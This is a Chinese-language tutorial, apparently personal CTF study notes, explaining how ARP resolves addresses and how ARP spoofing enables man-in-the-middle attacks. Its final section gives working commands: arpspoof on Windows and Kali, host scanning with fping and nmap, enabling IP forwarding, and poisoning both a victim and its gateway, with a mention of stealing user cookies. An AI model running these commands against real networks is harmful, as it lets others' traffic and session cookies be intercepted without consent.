什么是ARP

ARP协议是“Address Resolution Protocol”(地址解析协议)的缩写。

局域网环境中,数据的传输所依懒的是MAC地址而非IP地址,而将已知IP地址转换为MAC地址的工作是由ARP协议来完成的。

工作流程

image-20250817000350426

局域网内有设备 A(IP:192.168.2.97,MAC:10:5f:ad:ba:a3:2e)和设备 B(IP:192.168.2.180,MAC:0c:b9:83:5c:9c:06),当 A 需要向 B 发送数据时,ARP 的工作步骤如下:

1. 检查本地 ARP 缓存表

设备 A 首先查询自己的ARP 缓存表,查看是否有 192.168.2.180 对应的 MAC 地址:

image-20250817001301962

  • 若缓存表中已有记录(如之前通信过),A 直接使用该 MAC 地址封装数据帧并发送给 B,流程结束。
  • 若缓存表中无记录,进入下一步。

2. 发送 ARP 请求报文(广播)

image-20250817000202637

设备 A 生成一个ARP 请求报文,内容为:
“谁有 IP 地址 192.168.2.180?请将你的 MAC 地址告诉我,我的 IP 是 192.168.2.97,MAC 是 10:5f:ad:ba:a3:2e。”
该报文通过广播方式发送(目标 MAC 地址为FF:FF:FF:FF:FF:FF),即局域网内所有设备都会收到该请求。

3. 接收并响应 ARP 请求(单播)

image-20250817000300545

局域网内所有设备收到 ARP 请求后,会检查报文中的目标 IP 地址是否与自己的 IP 一致:

  • 非目标设备(如其他设备 C、D)会忽略该请求。
  • 目标设备 B 发现请求中的 IP 地址(192.168.2.180)与自己的 IP 一致,会生成ARP 响应报文,内容为:
    “我是 192.168.2.180,我的 MAC 地址是 0c:b9:83:5c:9c:06。”
    该报文通过单播方式直接发送给设备 A(目标 MAC 为 A 的 MAC 地址)。

4. 更新 ARP 缓存表并通信

设备 A 收到 B 的 ARP 响应后,会将 “IP:192.168.2.180 → MAC:0c:b9:83:5c:9c:06” 的映射关系存入自己的 ARP 缓存表
之后,A 即可使用 B 的 MAC 地址封装数据帧,实现与 B 的直接通信。

image-20250817001511541

ARP中间人攻击原理

概述

中间人攻击(Man-in-the-MiddleAttack,简称“MITM攻击”)是一种“间接”的入侵攻击,这种攻击模式是通过各种技术手段将受入侵者控制的一台计算机虚拟放置在网络连接中的两台通信计算机之间,这台计算机就称为“中间人”。

攻击原理

利用ARP协议漏洞进行的攻击—ARP欺骗

1、PC1给PC3发送数据:网络层(IP包)
10.1.1.1 10.1.1.3 端口号 Hello,PC3 (源IP地址 目标IP 源端口号 目标端口号 数据)
2、到数据链路层后:数据帧包
__ AA 10.1.1.1 10.1.1.3 端口号 Hello,PC3 (目标MAC地址[PC3的未知] 源MAC地址 源IP地址 目标IP 源端口号 目标端口号 数据)
3、ARP协议出现
“我是10.1.1.1,我的MAC地址为AA,谁是10.1.1.3,你的MAC地址是什么呀?”ARP协议发送广播MAC地址(FF-FF-…12个F):FF AA 10.1.1.1 10.1.1.3 端口号 Hello,PC3
4、局域网内所有主机都收到这个广播,PC2会丢弃这个包;PC3收到包后会单播应答它,CC AA 10.1.1.1 10.1.1.3 端口号 Hello,PC1,并通过交换机查询MAC地址表,将响应包传递给PC1,PC1会在第一时间建立一个ARP缓存表:10.1.1.3 CC
5、漏洞出现:ARP缓存表遵循的规则是谁后到达就学习谁,由于ARP没有验证功能,所以PC2使用攻击工具不停发送虚假的ARP应答,PC1的ARP缓存表就会变成了10.1.1.3 BB
6、从此PC1发送数据就要先经过PC2,(BB AA 10.1.1.1 10.1.1.3 端口号 数据),PC2截获获取数据后再修改目标MAC地址(CC AA 10.1.1.1 10.1.1.3 端口号 数据),然后转发给PC3,完成攻击。

实操

Win

工具:alandau/arpspoof:适用于 Windows 的简单 ARP 欺骗器

1
2
3
4
5
6
7
8
9
10
D:\CTFtool\ARP>arpspoof.exe --help
arpspoof.exe --list | [-i iface] [--oneway] victim-ip [target-ip]

victim-ip:受害者IP,即被攻击主机的IP

target-ip:目标IP,它指伪装的IP。比如,主机A要想获取主机B访问外部网络的流量,那么目标IP则是受攻击主机IP的默认网关。主机A要想获取主机B访问同网段的其它主机C的流量,那么目标IP则是主机CIP。**当“target-ip”未指定是,默认指向受攻击主机IP的默认网关。**

--oneway:默认情况下,攻击主机获取的流量是双向的,即victim -> targettarget -> victim 。使用“—oneway”参数,攻击主机仅获取victim -> target方向的流量;

-i:指定攻击主机发送arp攻击报文的网卡。未指定的情况下,攻击主机将自动根据攻击主机和受攻击主机的IP和掩码来选定。确实需要指定的话,可先使用“--list”参数,查看可用网卡,然后使用“-i”参数指定具体的网卡,例如:-i \Device\NPF_{F569706A-1B6B-47D7-B89D-0E4EE8A166CE};

列出可用的网卡

1
arpspoof.exe --list

image-20250817004847060

开始欺骗

image-20250817013048192

wireshark过滤数据包

image-20250817013123445

image-20250817015204102

盗取用户cookie

image-20250817014457580

kali

1
2
fping -g 192.168.2.0/24 -a -q
只输出192.168.2.0/24ping通的地址 -q隐藏详细过程 -a存活

image-20250819014823191

1
nmap -sn 192.168.1.0/24  # 仅检测192.168.1.0/24网段的存活主机

image-20250819015124701

注意

如果未开启 IP 转发:你的机器会直接丢弃这些流量,导致目标主机和网关之间的通信彻底中断(目标会发现断网并快速恢复 ARP 缓存,攻击效果短暂且明显)

linux系统出于安全考虑禁止了IP转发功能,所以需要手动打开,在/proc/sys/net/ipv4/ip_forward里面数值是0,改为1就允许了IP转发
使用echo 1 > /proc/sys/net/ipv4/ip_forward 实现该操作

1
2
3
4
5
6
7
8
arpspoof -i eth0 -t 192.168.2.180 192.168.2.1
# 终端1:欺骗目标主机(让它认为你是网关)

arpspoof -i eth0 -t 192.168.2.1 192.168.2.180
# 终端2:欺骗网关(让它认为你是目标主机)

echo 1 > /proc/sys/net/ipv4/ip_forward
#开启转发